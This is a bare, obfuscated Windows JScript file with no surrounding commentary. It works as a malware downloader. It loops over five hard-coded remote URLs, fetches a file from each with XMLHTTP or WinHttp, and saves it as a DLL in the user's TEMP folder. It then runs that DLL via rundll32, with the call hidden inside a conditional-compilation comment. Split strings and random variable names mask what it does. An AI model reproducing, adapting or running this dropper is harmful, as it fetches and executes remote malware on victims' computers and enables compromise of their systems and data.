IPz3l0z = ["http://vexerrais.net/6sbdh","http://centinel.ca/wkr1j6n","http://3-50-90.ru/u4y5t","http://alpermetalsanayi.com/vuvls","http://flurrbinh.net/6mz3c5q"];
XLs5g2t = "4Xg1KlEcvEX4";
var Nh4f8m=1;
var HOy6j5g=2;
var PBz7l2a=2;
var Tq6n3y="437";
var LDy7o9q=WScript["CreateObject"]("WScript.Shell");
var BRl2w6y=LDy7o9q.ExpandEnvironmentStrings("%T"+"EMP%/");
var FHq1c5y=BRl2w6y + XLs5g2t;
var Tr5l0x=FHq1c5y + ".d" + "ll";
var Pp2s0l = LDy7o9q.Environment("System");
if (Pp2s0l("PROCESSOR_ARCHITECTURE").toLowerCase() == "amd64")
{
var Nw7h6n = LDy7o9q.ExpandEnvironmentStrings("%SystemRoot%\\SysWOW64\\rundll32.exe");
}
else
{
var Nw7h6n = LDy7o9q.ExpandEnvironmentStrings("%SystemRoot%\\system32\\rundll32.exe");
}
var Lh9l4c=["MSXML2.XMLHTTP", "WinHttp.WinHttpRequest.5.1"];
for (var AYm6j9h=0; AYm6j9h < Lh9l4c["length"]; AYm6j9h++)
{
try
{
var UNv3v1l=WScript["CreateObject"](Lh9l4c[AYm6j9h]);
break;
}
catch (e)
{
continue;
}
};
var Sx1b2j = new ActiveXObject("Scripting.FileSystemObject");
var Li0k1v = 0;
for (var Ei1r4d = 0; Ei1r4d < IPz3l0z.length; Ei1r4d = Ei1r4d + 1)
{
try
{
UNv3v1l["open"]("GET", IPz3l0z[Ei1r4d], false);
UNv3v1l["send"]();
while (UNv3v1l.readystate < 4) WScript["Sleep"](100);
var HAx9r7e=WScript["CreateObject"]("ADODB.Stream");
HAx9r7e["open"]();
HAx9r7e["type"]=Nh4f8m;
HAx9r7e["write"](UNv3v1l["ResponseBody"]);
HAx9r7e["position"]=0;
HAx9r7e["Sav"+"eToFile"](Tr5l0x, PBz7l2a);
HAx9r7e["close"]();
var GGv7p6y = Sx1b2j.GetFile(Tr5l0x);
var KUk1w4n = GGv7p6y.ShortPath;
/*@cc_on
LDy7o9q["Run"](Nw7h6n + " " + KUk1w4n + ",boobs");
@*/
WScript.Quit(0);
}
catch (e) {continue;};
}
WScript.Quit(0);
Comments